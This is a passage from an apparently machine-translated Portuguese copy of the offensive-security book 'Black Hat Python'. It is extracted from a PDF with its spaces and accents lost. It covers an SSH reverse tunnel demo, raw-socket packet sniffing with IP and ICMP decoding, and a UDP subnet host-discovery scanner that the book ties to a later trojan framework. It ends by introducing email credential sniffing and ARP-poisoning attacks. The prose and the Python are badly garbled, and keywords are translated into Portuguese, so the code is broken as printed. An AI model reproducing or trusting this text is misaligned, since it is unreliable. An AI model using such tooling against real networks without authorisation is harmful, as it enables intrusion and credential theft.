iflen(dados)==0:
pausa
chan.send(dados)
Sechannor:
data=chan.recv(1024)
iflen(dados)==0:
pausa
sock.send(dados)
chan.close()
sock.close()
detalhado('Tnelfechadoapartirde%r'%(chan.origin_addr,))

E,finalmente,osdadossoenviadoserecebidos.
Vamosdarlheumatentativa.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

24/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Chutarospneus
Vamoscorrerrforward.pydonossosistemaWindowseconfigurloparaserohomemdemeiacomons
trfegodetneldeumservidorwebparaonossoservidorKaliSSH.
C:\tmp\demos>rforward.py192.168.100.133p8080r192.168.100.128:80
userjustinpassword
DigiteasenhaSSH:
Conectandoseaoacolhimentossh192.168.100.133:22...
C:\python27\lib\sitepackages\paramiko\client.py:517:UserWarning:Desconhecido
sshr
chavedoanfitriosapara192.168.100.133:cb28bb4e3ec68e2af4847a427f08aa8b
(Key.get_name(),hostname,hexlify(key.get_fingerprint())))
Agoraencaminhamentoportaremota8080para192.168.100.128:80...

VocpodeverquenamquinaWindows,eufizumaconexocomoservidorSSHem192.168.100.133
eabriuaporta8080noservidor,queirencaminharotrfegoparaaporta192.168.100.12880.Entoagora
seeunavegarparahttp://127.0.0.1:8080nomeuservidorLinux,euconectaraoservidorwebem
192.168.100.128atravsdotnelSSH,comomostradonaFigura24.

Figura24.exemplotnelSSHreverso

SevocvirarparatrsparaamquinaWindows,voctambmpodeveraconexoqueestsendofeitoemparamiko:
Conectado!Tnelaberto(u'127.0.0.1',54537)>('192.168.100.133',22)>
('192.168.100.128',80)

SSHetneisSSHsoimportantesparacompreendereutilizar.SaberquandoecomoSSHe
tnelSSHumahabilidadeimportanteparachapuspretoseparamikotornapossveladicionarSSH
capacidadesparasuasferramentasdePythonexistentes.
Nscriamosalgumasferramentasmuitosimples,masmuitoteisnestecaptulo.Encorajovosaexpandire
modificar,senecessrio.OobjetivoprincipaldesenvolverumfirmeapertodeusarPythonredeparacriar
ferramentasquepodemserutilizadasduranteostestesdepenetrao,psexplorao,ouenquantobugcaa.Vamoscontinuar
ausarsoquetesbrutoserealizandoredesniffing,edepoisvamoscombinarosdoisparacriarumapura
acolhimentoPythonscannerdedescoberta.
[5] Adocumentaotomadacompletapodeserencontradaaqui:http://docs.python.org/2/library/socket.html.
[6] EstadiscussoexpandesenotrabalhoporHussamKhrais,quepodeserencontradonohttp://resources.infosecinstitute.com/.

Captulo3.ARede:RawSocketse
sniffing
sniffersderedepermitemquevocvejaospacotesentrandoesaindodeumamquinadedestino.Comoresultado,elestm
muitosusosprticosantesedepoisdaexplorao.Emalgunscasos,vocvaisercapazdeusarWireshark
(Http://wireshark.org/)paramonitorarotrfego,ouusarumasoluoPythoniccomoscapy(quevamosexplorar
noprximocaptulo).Noentanto,humavantagemparasabercomojogarjuntosumarpida
snifferparaveretrfegoderedededecodificao.Escrevendoumaferramentacomoestatambmlhedarumprofundo
apreciaoparaasferramentasmadurasquepodemindolorcuidardospontosmaisdelicadoscompoucoesforode
suaparte.VoctambmprovavelmentevaipegaralgumasnovastcnicasdePythone,talvez,umamelhor
compreensodecomoosbitsderededebaixonveltrabalhar.
Nocaptuloanterior,nscobrimoscomoenviarereceberdadosusandoTCPeUDP,e,possivelmente,
istocomovocirinteragircomamaioriadosserviosderede.Masporbaixodestesprotocolosdenvelsuperior
soosblocosfundamentaisdecomoospacotesderedesoenviadoserecebidos.Vocvaiusarcru
soquetesparaacessarinformaesderededenvelinferior,comooIPcruecabealhosICMP.Nanossa
caso,estamosinteressados
apenasnacamadaIPesuperior,demodoquenoirdecodificarqualquerinformaoEthernet.

Claro,sevocpretenderealizarquaisquerataquesdebaixonvel,taiscomoenvenenamentoARPouvoc
desenvolvimentodeferramentasdeavaliaosemfio,vocprecisaparatornarseintimamentefamiliarizadocomquadrosEthernet
easuautilizao.
Vamoscomearcomumabreveexplicaopassoapassodecomodescobrirhostsativosemumsegmentoderede.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

25/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

AconstruodeumaUDPAnfitrioDiscoveryTool
OprincipalobjetivodanossasnifferarealizaodedescobertadehostsbaseadosemUDPemumaredealvo.atacantes
quersercapazdevertodososalvospotenciaisemumaredeparaqueelespossamconcentrarsua
reconhecimentoeexploraotentativas.
UsaremosumcomportamentoconhecidodamaioriadossistemasoperacionaisaomanusearasportasUDPfechadasparadeterminar
SehouverumhospedeiroactivoaumendereodeIPespecfico.QuandovocenviaumdatagramaUDPparaumaportafechada
emumhost,quehospedamnormalmenteenviadevoltaumamensagemdeICMPindicandoqueaportaestinacessvel.este
ICMPmensagemindicaquehumasrievivoporquensassumimosquenohaviaanfitriose
noreceberumarespostaparaodatagramaUDP.essencialquensescolhemosumaportaUDPquenovai
provavelmenteserusado,eparaacoberturamximoquepodemossondarvriasportasparagarantirquenoestoatingindoum
UDPservioativo.
PorUDP?Nohnenhumasobrecargaempulverizaramensagematravsdeumasubredeinteiraeesperandoo
respostasICMPchegaremconformidade.Istobastanteumscannersimplesdeconstruircomamaiorpartedotrabalho
indoparadescodificaoeanalisandoasvriascabealhosdeprotocoloderede.Vamosimplementarestealojamento
scannerparaWindowseLinuxparamaximizaraprobabilidadedesercapazdeuslodentrodeum
ambienteempresarial.
PoderamostambmconstruirlgicaadicionalemnossoscannerparalanaranlisescompletasdeportasdoNmapemquaisqueranfitriesque
descobrirparadeterminarseelestmumasuperfciedeataquederedevivel.Estessoexercciosdeixadosparao
leitor,eeuansiososparaouviralgumasdasmaneirascriativasquevocpodeexpandiresteconceitocentral.
Vamoscomear.

PacketsniffingemWindowseLinux
AcessandosoquetesbrutosnoWindowsumpoucodiferentedoquenosseusirmosLinux,masqueremos
temaflexibilidadeparaimplantaromesmosnifferparamltiplasplataformas.Vamoscriaronossoobjetodesoquete
eentodeterminarqualplataformansestamosexecutando.Janelasnosobrigaadefiniralgumasadicional
bandeirasatravsdeumcontroledeentradatomada/sada(IOCTL),[7]quepermitemodopromscuona
interfacederede.Emnossoprimeiroexemplo,nssimplesmentemontaronossosniffersocketraw,lidoemumanica
pacote,edepoissair.
tomadadeimportao
importos
#Acolhimentoparaescutar
host="192.168.0.196"

#Criarumsocketrawevincullointerfacepblica
Seos.name=="NT":
socket_protocol=socket.IPPROTO_IP

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

26/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

outro:
socket_protocol=socket.IPPROTO_ICMP

sniffer=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_protocol)
sniffer.bind((host,0))
#QueremosqueoscabealhosIPincludosnacaptura
sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)
#SeestiverusandooWindows,precisoenviarumIOCTL
#Paraconfiguraromodopromscuo
seos.name=="nt":
sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_ON)
#Lidasdeumnicopacote
impressosniffer.recvfrom(65565)
#SeestiverusandooWindows,desligueomodopromscuo
seos.name=="nt":
sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)

Comeamosporconstruironossoobjetodesoquetecomosparmetrosnecessriosparafarejarpacotesemnosso
interfacederede.AdiferenaentreWindowseLinuxqueoWindowsirpermitirnos
cheirartodosospacotesdeentradaindependentementedoprotocolo,enquantooLinuxnosobrigaaespecificardequesomos
sniffingICMP.Notequeestamosusandoomodopromscuo,querequerprivilgiosadministrativosno
WindowsouraiznoLinux.modopromscuonospermitecapturartodosospacotesqueaplacaderede
v,mesmoaquelesquenosedestinamparaoseuhostespecfico.Emseguidansdefinirumaopodesoquetequeincluio
CabealhosIPemnossospacotescapturados.OprximopassodeterminarseestamosusandooWindows,ese
assim,realizaropassoadicionaldeenviarumIOCTLparaocontroladordaplacaderedeparapermitir
modopromscuo.SevocestiverexecutandooWindowsemumamquinavirtual,vocprovavelmentevaireceberumanotificao
queosistemaoperacionalconvidadoestpermitindoqueomodopromscuovoc,claro,vaipermitirisso.Agorans
estprontopararealmenteexecutaralgumasniffing,enestecasoestamossimplesmenteimprimirtodaamatria
pacotecomnenhumadescodificaodopacote.Esteapenasparatestarparasecertificardequetemosoncleodonossosniffing
cdigodetrabalho.Apsumnicopacoteinalado,nsnovamenteotesteparaWindows,edesativarpromscuo
Modoantesdesairdoscript.

Chutarospneus
Abraumnovoterminaloucmd.exeshellnoWindowseexecuteoseguinte:
sniffer.pypython

Emoutrajaneladeterminaloushell,vocpodesimplesmenteescolherumhostparaping.Aqui,vamosexecutarping
nostarch.com:
depingnostarch.com

Emsuaprimeirajanelaondevocexecutouoseusniffer,vocdeveveralgumasadailegvelqueintimamente
seassemelhaaseguinte:
('E\x00\x00:\x0f\x98\x00\x00\x80\x11\xA9\X0e\xc0\xa8\x00\xbb\xc0\xa8\x0
0\x01\x04\x01\X005\x00e\xd6d\n\xde\x01\x00\x00\x01\x00\x00\x00\x00\x00\
x00\x08nostarch\x03com\x00\x00\x01\x00\x01',('192.168.0.187',0))

VocpodeverquetemoscapturadoopedidoinicialdepingICMPdestinadosanostarch.com(combaseem
aaparnciadacadeianostarch.com).SevocestiverexecutandoesteexemplonoLinux,entovocfaria
receberarespostadonostarch.com.Sniffingumpacotenomuitotil,porissovamosadicionarumpoucode
funcionalidadeparaprocessarmaispacotesedecodificarseucontedo.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

27/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

DecodificandoacamadaIP

Nasuaformaatual,anossasnifferrecebetodososcabealhosIP,juntamentecomtodososprotocolossuperiores,como
TCP,UDP,ouICMP.Ainformaoembaladoemformabinria,ecomomostradoacima,bastante
difcildeentender.AgoravamostrabalharnadecodificaodaparteIPdeumpacotedemodoquens
podepuxarinformaotil,comootipodeprotocolo(TCP,UDP,ICMP),edafontee
endereosIPdedestino.Estaserabaseparavoccomearacriaraindamaisaanlisedeprotocolo
maistarde.

Seexaminarmosoqueumpacoterealparecenarede,vocterumacompreensode
comoprecisamosdecodificarospacotesdeentrada.ConsulteaFigura31paraacomposiodeumcabealhoIP.

Figura31.estruturadecabealhoIPv4tpica

VamosdecodificartodoocabealhoIP(excetoocampoOpes)eextrairotipodeprotocolo,fonte,
eendereoIPdedestino.UsandooPythonctypesmduloparacriarumaestruturadeClikevaipermitirnos
terumformatoamigvelparalidarcomocabealhoIPeseuscamposdemembro.Primeiro,vamosdarumaolhada
adefinioCdoqueumcabealhoIPparece.
ipstruct{
u_charip_hl:4
u_charip_v:4
IP_TOSu_char
u_shortip_len
u_shortip_id
u_shortip_off
IP_TTLu_char
u_charip_p
u_shortip_sum
u_longip_src
u_longip_dst
}

AgoravoctemumaidiadecomomapearostiposdedadosCparaosvaloresdecabealhoIP.UsandoocdigoCcomoum
refernciaaotraduzirparaPythonobjetospodesertilporquetornafcilparaconverter
losparaPythonpuro.Denota,oip_hleip_vcampostmumanotaobitadicionadoaeles(o:4
parte).Istoindicaqueestessocamposdebits,eso4bitsdelargura.UsaremosumPythonpuro
soluoparagarantirqueestescamposmapearcorretamenteparaquepossamosevitarterquefazerqualquermanipulaodebits.
VamosimplementaranossarotinadedecodificaoIPemsniffer_ip_header_decode.pycomomostradoabaixo.
tomadadeimportao

importos
structimportao
dectypesimportao*
#Acolhimentoparaescutar
host="192.168.0.187"

#NossocabealhoIP
classeIP(Estrutura):
_fields_=[
("DIH",
c_ubyte,4),
("verso",
c_ubyte,4),
("Tos",
c_ubyte),
("Len",
c_ushort),
("Id",
c_ushort),
("Offset",
c_ushort),
("TTL",
c_ubyte),
("Protocol_num",c_ubyte),
("soma",
c_ushort),
("Src",
c_ulong),
("DST",
c_ulong)
]
def__new__(self,socket_buffer=None):
self.from_buffer_copyretorno(socket_buffer)
def__init__(self,socket_buffer=None):
#constantesmapaprotocoloparaseusnomes
self.protocol_map={1:"ICMP",6:"TCP",17:"UDP"}

#endereosIPlegveis
self.src_address=socket.inet_ntoa(struct.pack("<L",self.src))
self.dst_address=socket.inet_ntoa(struct.pack("<L",self.dst))
#Protocololegvel
experimentar:
self.protocol=self.protocol_map[self.protocol_num]
exceto:
self.protocol=str(self.protocol_num)

#Istodeveparecerfamiliarapartirdoexemploanterior
Seos.name=="NT":
socket_protocol=socket.IPPROTO_IP
outro:
socket_protocol=socket.IPPROTO_ICMP
sniffer=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_protocol)
sniffer.bind((host,0))
sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

28/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Seos.name=="NT":
sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_ON)
experimentar:
whileTrue:

#Lidoemumpacote
raw_buffer=sniffer.recvfrom(65565)[0]

#CriarumcabealhoIPapartirdosprimeiros20bytesdotampo
ip_header=IP(raw_buffer[00:20])

#Imprimiroprotocoloquefoidetectadaeosanfitries
print"Protocolo:%s%s>%s"%(ip_header.protocol,ip_header.src_
endereo,ip_header.dst_address)
#LidarcomCTRLC
excetoKeyboardInterrupt:

#SeestiverusandooWindows,desligueomodopromscuo
Seos.name=="NT":
sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)

OprimeiropassoadefiniodeumPythonctypesestruturaqueirmapearosprimeiros20bytesdorecebido
tampoemumcabealhoIPamigvel.Comovocpodever,todososcamposqueforamidentificadoseoanterior
EstruturaCigualarsebem.O__new__mtododoIPclassesimplesmentelevaemumbufferembruto(neste
caso,oquerecebemosnarede)eformaaestruturadamesma.Quandooinitmtodo
chamado,__new__jestconcludooprocessamentodobuffer.Dentro__init__,estamossimplesmentefazendo
algumastarefasdomsticasparadaralgumasadalegvelparaoprotocoloemusoeosendereosIP

.
ComonossorecmformadoIPestrutura,nsagoracolocarnalgicadelercontinuamenteempacoteseanalisar

asuainformao.Oprimeiropassolernopacoteedepoispassarosprimeiros20bytespara
inicializaronossoIPestrutura.Emseguida,nssimplesmenteimprimirasinformaesquetemoscapturado.Vamos
Experimente.

Chutarospneus
Vamostestaronossocdigoanteriorparaverquetipodeinformaoqueestamosextraindoamatria
pacotesenviados.EudefinitivamenterecomendoquevocfaaissodetestedasuamquinaWindows,comovoc
sercapazdeverTCP,UDPeICMP,quelhepermitefazeralgunstestesbastantepuro(abrirum
navegador,porexemplo).SevocestconfinadoparaoLinux,emseguida,executarotestedepinganteriorparavloem
aao.

Abraumterminaledigite:
sniffer_ip_header_decode.pypython

Agora,porqueoWindowsmuitofalador,provvelquevocverumasadaimediatamente.Eutesteiessescript
abrindooInternetExplorereindoparawww.google.com,eaquiasadadonossoscript:
Protocolo:UDP192.168.0.190>192.168.0.1
Protocolo:UDP192.168.0.1>192.168.0.190
Protocolo:UDP192.168.0.190>192.168.0.187
Protocolo:TCP192.168.0.187>74.125.225.183
Protocolo:TCP192.168.0.187>74.125.225.183
Protocolo:TCP74.125.225.183>192.168.0.187
Protocolo:TCP192.168.0.187>74.125.225.183

Porquensnoestamosfazendoqualquerinspeoprofundasobreestespacotes,spodemosadivinharoqueestefluxo
indicando.MeupalpitequeoprimeiropardepacotesUDPsoasconsultasDNSparadeterminaronde
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

29/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

google.comvive,eossubsequentesTCPsessessominhamquinarealmenteconectare
downloaddecontedodeseuservidorweb.
PararealizaromesmotestenoLinux,quepodeexecutarpinggoogle.com,eosresultadosseralgoparecido
esta:
Protocolo:ICMP74.125.226.78>192.168.0.190
Protocolo:ICMP74.125.226.78>192.168.0.190
Protocolo:ICMP74.125.226.78>192.168.0.190

Vocjpodeveralimitao:estamosvendoapenasarespostaeapenasparaoprotocoloICMP.
Masporqueestamospropositadamenteconstruodeumscannerdedescobertadehosts,issocompletamenteaceitvel.Ns
vaiagoraaplicarasmesmastcnicasqueusamosparadecodificarocabealhoIPparadecodificarasmensagensICMP.

decodificaoICMP
AgoraquepodemosdecodificartotalmenteacamadaIPdequalquercheiroupacotes,temosquesercapazesdedecodificaro
respostasICMPqueonossoscannerirextrairdeenviodedatagramasUDPparaportasfechadas.ICMP
mensagenspodemvariarmuitoemseucontedo,mascadamensagemcontmtrselementosquepermanecem
consistente:oscamposdetipo,cdigoesomadeverificao.Oscampostipoeocdigocontarareceberacolhimentoque
tipodemensagemICMPestchegando,queentodeterminacomodecodificarcorretamente.
Paraopropsitodonossoscanner,estamosprocuradeumvalordetipode3eumvalordecdigode3.Esta
correspondeaodestinoinacessvelclassedemensagensICMP,eovalordocdigode3
indicaqueoportoinacessvelerrofoicausado.ConsulteaFigura32paraobterumdiagramadeum
DestinoinacessvelICMPmensagem.

Figura32.DiagramadoDestinoinacessvel mensagemICMP

Comovocpodever,osprimeiros8bitssootipoeosegundo8bitscontmonossocdigoICMP.Um
coisainteressanteasenotarque,quandoumhostenviaumadessasmensagensICMP,elerealmenteincluio
cabealhodeIPdamensagemoriginalquegerouaresposta.Nstambmpodemosverquevamosdouble
verificarcontra8bytesdodatagramaoriginalquefoienviado,afimdecertificarsedenossoscanner
geradoarespostaICMP.Parafazerisso,nssimplesmentecortarforaosltimos8bytesdobufferrecebidopara
puxeacordamgicaquenossoscannerenvia.
Vamosadicionarmaisalgumcdigoparaonossosnifferanterior,incluindoacapacidadededecodificarospacotesICMP.Vamos
salvaronossoarquivoanteriorcomosniffer_with_icmp.pyeadicioneoseguintecdigo:
snip
IPclass(Estrutura):
Snip

classeICMP(Estrutura):
_fields_=[
("digitar",
("cdigo",

c_ubyte),
c_ubyte),

("Somadeverificao",
c_ushort),
("Noutilizado",c_ushort),
("Next_hop_mtu",c_ushort)
]
def__new__(self,socket_buffer):
self.from_buffer_copyretorno(socket_buffer)
def__init__(self,socket_buffer):
passar
Snip

print"Protocolo:%s%s>%s"%(ip_header.protocol,ip_header.src_
endereo,ip_header.dst_address)

#SeICMP,queremosqueele
seip_header.protocol=="ICMP":

#calcularondeosnossospacotescomeaICMP
offset=ip_header.ihl*4
buf=raw_buffer[offset:offset+sizeof(ICMP)]

#CriarnossaestruturaICMP
icmp_header=ICMP(buf)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

30/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
imprimir"ICMP>Tipo:%dCdigo:%d"%(icmp_header.type,icmp_header.
cdigo)

EstesimplespedaodecdigocriaumICMPestruturaembaixodonossoactualIPestrutura.Quandoo
loopprincipaldopacotederecepodeterminaquetemosrecebidoumpacoteICMP,calculamoso
compensados
nopacotecruondeocorpoICMPvivee,emseguida,criaronossotampoeimprimira

Tipoedecdigodecampos.OcomprimentoclculobaseadosobreoIPcabealhoDIHcampo,oqualindicao
nmerodepalavrasde32bits(blocosde4bytes)contidosnocabealhoIP.Assim,multiplicandoestecampopor4,
sabemosqueotamanhodocabealhodeIPe,assim,quandoacamadaderedeprximaICMPnestecaso
comea.

Sensrapidamenteexecutarestecdigocomonossotestedepingnormal,anossaproduodeveagoraserligeiramentediferentes,como
mostradoabaixo:
Protocolo:ICMP74.125.226.78>192.168.0.190
ICMP>Tipo:0Cdigo:0

Issoindicaqueoping(ICMPEcho)respostasestoasercorrectamenterecebidaedescodificada.Nsestamos
agoraprontoparaimplementaroltimopedaodelgicaparaenviarosdatagramasUDPeinterpretarasua
resultados.
Agoravamosadicionarousodonetaddrmduloparaquepossamoscobrirumasubredeinteiracomonossoanfitrio
verificaodedescoberta.Salveoseusniffer_with_icmp.pyscriptcomoscanner.pyeadicioneoseguintecdigo:
rosqueamentodeimportao
tempodeimportao
deimportaonetaddrIPNetwork,IPAddress
Snip

#Acolhimentoparaescutar
host="192.168.0.187"
#Subredeparaalvejar
subrede="192.168.0.0/24"
#CordamgicavamosverificarrespostasICMPpara
magic_message="PYTHONRULES!"
#IstopulverizaosdatagramasUDP
defudp_sender(subrede,magic_message):
time.sleep(5)
remetente=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
paraipemIPNetwork(subrede):
experimentar:
sender.sendto(magic_message,("%s"%ip,65212))
exceto:
passar
Snip

#Iniciaroenviodepacotes
t=threading.Thread(target=udp_sender,args=(subrede,magic_message))
t.start()

Snip
experimentar:
whileTrue:
Snip
#print"ICMP>Tipo:%dCdigo:%d"%(icmp_header.type,icmp_header.
cdigo)

#Agoradeseleodotipo3eCODE
seicmp_header.code==3eicmp_header.type==3:

#Certificarsedeanfitrioestnanossasubredededestino
seIPAddress(ip_header.src_address)emIPNetwork(subrede):
#Verifiqueseeletemanossamensagemmgica
seraw_buffer[len(raw_buffer)len(magic_message):]==
magic_message:
imprimir"HostUp:%s"%ip_header.src_address

Esteltimotrechodecdigodeveserbastantesimplesdeentender.Nsdefinimosumasimplesstring
assinaturaparaquepossamostestarseasrespostasestovindodepacotesUDPqueenviamos
originalmente.Nossaudp_senderfunosimplesmentelevaemumasubredequeespecificarnotopodanossa
roteiro,percorretodososendereosIPemqueasubrede,edisparadatagramasUDPparaeles.Noprincipal
corpodonossoscript,poucoantesdociclodepacotesdedecodificaoprincipal,quegeramudp_senderemseparado
fioparagarantirquenoestamosinterferindocomanossacapacidadedefarejarrespostas.Sedetectara
antecipadomensagemICMP,primeirocertifiquesedequearespostaICMPestvindodedentro
asubredededestino.Emseguida,executaranossaverificaofinaldecertificarsedequearespostaICMPtemonosso
cordamgicanele.Setodasessasverificaespassar,nsimprimiroendereoIPdeorigemdeondeoICMP
mensagemoriginada.Vamostestlo.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

31/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Chutarospneus
Agoravamosdaronossoscannereexecutlocontraaredelocal.VocpodeusarLinuxouWindowspara
istocomooresultadoseromesmo.Nomeucaso,oendereoIPdamquinalocalqueeuestavaera
192.168.0.187,entoeudefiniromeuleitorparabater192.168.0.0/24.Seasadamuitobarulhentoquandovocexecutar
oscanner,bastacomentartodasasinstruesdeimpresso,excetoparaoltimoquelhedizoquehospeda
estorespondendo.
THEnetaddrMODule
Nossoscannerestindoparausarumabibliotecadeterceiroschamadonetaddr,queirpermitirnosparaalimentaremumamscaradesubrede,como192.168.0.0/24
etemosonossoscannerdemanipulloadequadamente.Faadownloaddabibliotecaapartirdaqui:http://code.google.com/p/netaddr/downloads/list
Ou,sevocinstalouopacotedeferramentasdeconfiguraoPythonnoCaptulo1,vocpodesimplesmenteexecutaroseguinteemumpromptdecomando:
easy_installnetaddr

Onetaddrmdulotornamuitofciltrabalharcomsubredeseendereamento.Porexemplo,vocpodeexecutartestessimples,comoo
aseguirusandooIPNetworkobjeto:
ip_address="192.168.112.3"
seip_addressemIPNetwork("192.168.112.0/24"):
imprimirVerdadeiro

Ouvocpodecriariteradoressimplessevocquiserenviarpacotesparaumaredeinteira:
paraipemIPNetwork("192.168.112.1/24"):
s=socket.socket()
s.connect((ip,25))
#Enviarpacotesdecorreio

Issovaisimplificarmuitoasuavidadeprogramaoquandosetrataderedesinteirasdecadavez,eidealparaonossoanfitrio
ferramentadedescoberta.Depoisdeinstalado,vocestprontoparaprosseguir.
c:\python27\python.exescanner.py
HospedarUp:192.168.0.1
HospedarUp:192.168.0.190
HospedarUp:192.168.0.192
HospedarUp:192.168.0.195

Paraumaverificaorpidacomoaqueeurealizado,levouapenasalgunssegundosparaobterosresultadosdevolta.porcruzada
referenciandoessesendereosIPcomoquadrodeDHCPnomeuroteadoremcasa,eueracapazdeverificarseo
resultadosforamprecisos.VocpodefacilmenteexpandiroquevocaprendeunestecaptuloparadecodificarTCPe
pacotesUDP,econstruirferramentasadicionaisemtornodele.Estescannertambmtilparaotrojan
quadro,vamoscomearaconstruirnoCaptulo7.Issopermitiriaqueumtrojanimplantadoparafazeravarreduradolocal,
redeprocuradealvosadicionais.Agoraquetemosobsicodecomoasredestrabalharem
umaltoebaixonvel,vamosexplorarumabibliotecaPythonmuitomadurochamadoscapy.
[7] Umaentrada/sadadecontrolo(Ioctl)ummeiodeprogramasdeespaodeusurioparacomunicarcomcomponentesdemodokernel.Terumaleitura

aqui:http://en.wikipedia.org/wiki/Ioctl.

Captulo4.Possuiraredecomscapy
Ocasionalmente,voctoparcomumtalbempensada,incrvelbibliotecaPythonquededicarumtodo
captuloparaelenopodefazerjustia.PhilippeBiondicriouumabibliotecanamanipulaodepacotes
Scapybiblioteca.Vocspodeterminarestecaptuloeperceberqueeufizvocfazerummontedetrabalhono
anterioresdoiscaptulosquevocpoderiaterfeitocomapenasumaouduaslinhasdescapy.scapy
poderosoeflexvel,easpossibilidadessoquaseinfinitas.Vamoscomearumgostodascoisasporcheirar
pararoubarcredenciaisdeemaildetextosimplese,emseguida,ARPenvenenamentoumamquinadedestinoemnossarededemodoaque
podemoscheirarseutrfego.Nsvamosembrulharascoisas,demonstrandocomooprocessamentoPCAPdescapypode
serestendidoparaesculpirimagensdotrfegoHTTPe,emseguida,realizaradetecofacialcomelespara
determinarsehhumanospresentesnasimagens.
EurecomendoquevocusescapysobumsistemaLinux,comoelefoiprojetadoparatrabalharcomLinuxemmente.
AversomaisrecentedoscapysuportaoWindows,[8]masparaefeitosdopresentecaptulo,
suporquevocestusandoseuKaliVMquetemumainstalaoscapyemplenofuncionamento.Sevocnotem
Scapy,sobreacabeaemhttp://www.secdev.org/projects/scapy/~~Vparainstallo.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

32/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Roubodecredenciaisdeemail
JpassoualgumtempodeentraremporcaseparafusosdesniffingemPython.Ento,vamoscomeara
sabeainterfacedoscapyparafarejarpacotesedissecandoseucontedo.Nsvamosconstruirummuito
simplessnifferparacapturarcredenciaisdeSMTP,POP3eIMAP.Maistarde,poracoplamentodetuboaspiradorcomanossa
AddressResolutionProtocolenvenenamento(ARP)maninthemiddle(MITM)ataque,podemosfacilmenteroubar
credenciaisdeoutrasmquinasnarede.Estatcnicapode,naturalmente,seraplicadaaqualquer
protocoloouachuparsimplesmenteemtodootrfegoearmazenloemumarquivoPCAPparaanlise,quetambmir
demonstrar.
Paraterumaidiadescapy,vamoscomearpelaconstruodeumsnifferesqueletoquesimplesmentedissecaedespejaa
pacotesfora.Oapropriadamentechamadocheirarfunosemelhanteaoseguinte:
fungada(filtro="",iface="qualquer",prn=function,count=N)

OfiltrodeparmetronospermiteespecificarumBPF(Wiresharkstyle)filtrarospacotesquescapy
cheira,oquepodeserdeixadoembrancoparafarejartodosospacotes.Porexemplo,parafarejartodosospacotesHTTPvocteria
usarumfiltroBPFdetcpporta80.Oifaceparmetroinformaosnifferqualainterfacederedepara
farejarnoSedeixadoembranco,scapyvaifarejaremtodasasinterfaces.OPRNparmetroespecificaumcallback
funoaserchamadaparacadapacotequecombinecomofiltro,eafunoderetornorecebeo
objetodepacotecomoseunicoparmetro.Acontagemdeparmetroespecificaquantospacotesvocquer
farejarSedeixadoembranco,scapyvaifarejarindefinidamente.
Vamoscomearcriandoumsniffersimplesquecheiraumpacoteedespejaseucontedo.Vamosentoexpandilo
apenasfarejarcomandosdeemailrelacionado.Crackabrirmail_sniffer.pyeencravaroseguintecdigo:
descapy.allimport*
#Nossacallbackpacote
defpacket_callback(pacote):
packet.showprint()
#Fogoatonossosniffer
fungada(PRN=packet_callback,count=1)

Comeamospordefiniranossafunoderetornodechamadaquereceberocadacheiroupacoteedepoissimplesmentedizer
Scapyparacomearacheiraremtodasasinterfacessemfiltragem.Agoravamosexecutaroscriptevocdeve
verumasadasemelhanteaoquevocvabaixo.
$Python2.7mail_sniffer.py
AVISO:NenhumarotaencontradaparaodestinoIPv6::(semrotapadro?)
###[Ethernet]###
DST
=10:40:F3:AB:71:02
src
=00:18:e7:ff:5c:f8
digitar
=0x800
###[IP]###
verso
=4L
DIH
=5L
tos
=0x0
len
=52
identidade =35232
bandeiras =DF
frag
=0D
ttl
=51
proto
=tcp
chksum
=0x4a51
src
=195.91.239.8
DST
=192.168.0.198
\opes

###[TCP]###
esporte
=etlservicemgr
dport
=54000
seq
=4154787032
ack
=2619128538
dataofs
=8L
reservados=0D
bandeiras Um=
